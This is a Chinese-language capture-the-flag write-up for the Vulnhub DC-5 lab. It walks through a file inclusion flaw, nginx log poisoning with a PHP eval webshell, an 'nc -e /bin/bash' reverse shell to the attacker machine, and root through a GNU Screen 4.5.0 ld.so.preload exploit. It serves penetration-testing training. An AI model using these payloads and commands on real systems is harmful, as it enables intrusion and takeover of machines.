Vulnhub簡介
Vulnhub是一個提供了很多漏洞環境的靶場平臺,其中的環境基本上都是做好的虛擬機器映象檔案,需要使用VMware或者是VirtualBox執行。每個映象會有破解的目標,大多是Boot2root,從啟動虛擬機器到獲取作業系統的root許可權和檢視flag。
靶場部署
vulnhub官網:https://www.vulnhub.com/
1、直接從官網下載做好的虛擬機器映象檔案(推薦下載Mirror版本);
2、解壓會得到一個.ova的檔案,然後在VMware中開啟即可;
DC-5簡介
DC-5是另一個專門建造的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。據我所知,只有一個可以利用的入口點(也沒有SSH)。這個特定的入口點可能很難識別,但它確實存在。你需要尋找一些不尋常的東西(一些隨著頁面的重新整理而改變的東西)。這將有望為漏洞可能涉及的問題提供一些思路。這個挑戰的最終目標是獲得root許可權並閱讀唯一的flag。
下載地址:https://www.vulnhub.com/entry/dc-5,314/
資訊收集
1.探測靶機地址
arp-scan -l
2.探測靶機開放埠
111埠沒有什麼可以利用的點,只有80埠了,訪問一下80埠
得知:網站使用的是Nginx的中介軟體,php語言
在Contact頁面發現一個有互動的地方
在Contact模組下可以留言,隨便填寫一下提交
發現重新整理頁面會更新頁尾
3.dirsearch掃描
dirsearch是一個基於python的命令列工具,旨在暴力掃描頁面結構,包括網頁中的目錄和檔案。
apt-get install dirsearch
dirsearch -u http://192.168.75.157
掃描到thankyou.php檔案和footer.php,訪問一下footer.php,發現該檔案的內容就是之前提交之後下方顯示的時間,這樣的話thankyou.php中應該包含了footer.php,所以thankyou.php檔案應該是存在檔案包含漏洞
檔案包含漏洞的利用
什麼是本地檔案包含(LFI)漏洞?
LFI允許攻擊者透過瀏覽器包含一個伺服器上的檔案。當一個WEB應用程式在沒有正確過濾輸入資料的情況下,就有可能存在這個漏洞,該漏洞允許攻擊者操縱輸入資料、注入路徑遍歷字元、包含web伺服器的其他檔案。
(詳細瞭解請訪問:https://www.bugku.com/thread-19-1-1.html)
我們用burpsuite遍歷一下變數名,得知是file
file確實是檔案包含的引數,這是一個Linux系統
除了這樣驗證,還可以使用PHP偽協議讀取thankyou.php程式碼來檢視是否存在檔案包含漏洞
http://192.168.75.157/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php
Nginx日誌檔案寫入shell
讀取nginx配置檔案資訊,發現nginx日誌記錄檔案路徑
#nginx配置檔案路徑 /etc/nginx/nginx.conf
#nginx日誌檔案路徑
/var/log/nginx/error.log
/var/log/nginx/access.log
透過包含nginx日誌getshell,nginx在linux下的預設路徑/var/log/nginx/,先在thankyou.php中file引數輸入一句話
thankyou.php?file=<?php @eval($_POST[8]);?>
而這句話會引起報錯thankyou.php報錯,這個時候再去包含error.log,即可成功getshell
反彈shell
反彈shell,由於目標環境存在nc,直接nc反彈
nc -e /bin/bash 192.168.75.150 4444
成功得到shell,切換到bash外殼
python -c 'import pty;pty.spawn("/bin/bash")'
提權
查詢具有SUID許可權的檔案
#這兩個命令都可以查詢
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
suid用來提權的一般有:nmap 、vim、 find、 bash、 more 、less、 nano 、cp
但是都沒有這些命令,有一個奇怪的screen-4.5.0,所以可以用這個來提權
GNU Screen是一款由GNU計劃開發的用於命令列終端切換的自由軟體。使用者可以透過該軟體同時連線多個本地或遠端的命令列會話,並在其間自由切換。
GNU Screen可以看作是視窗管理器的命令列介面版本。它提供了統一的管理多個會話的介面和相應的功能。
使用命令searchsploit來查詢漏洞利用的指令碼
searchsploit screen 4.5.0
檢視一下指令碼的使用
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh
大概的步驟是分別將兩部分的c程式碼編譯為可執行檔案,然後將其上傳靶機,按照提示的命令進行提權
第一步
將第一部分的c程式碼放入libhax.c檔案中進行編譯
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
將第二部分c程式碼放入rootshell.c檔案中進行編譯
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
將編譯好的可執行檔案上傳到靶機的tmp目錄下
第四步
按照指令碼提示的命令進行提權
步驟一
直接複製下面紅線框中的程式碼,然後再終端中輸入,就可以建立libhax.c和rootshell.c兩個檔案
步驟二
使用以下命令編譯c檔案
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
步驟三
將檔案傳輸到目標機的tmp資料夾(記得kali和靶機都是在tmp目錄下進行操作,因為tmp目錄的許可權很大)
步驟四
根據提權說明
首先輸入命令:cd /etc
然後輸入命令:umask 000
然後輸入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然後輸入命令:screen -ls
最後輸入命令:/tmp/rootshell
成功提權
得到flag,在root目錄下
知識點總結
- 埠掃描,熟悉常見的埠
- 目錄掃描,工具有:御劍、dirsearch、DirBuster等等
- 檔案包含漏洞及其利用
- searchsploit命令的使用
- screen提權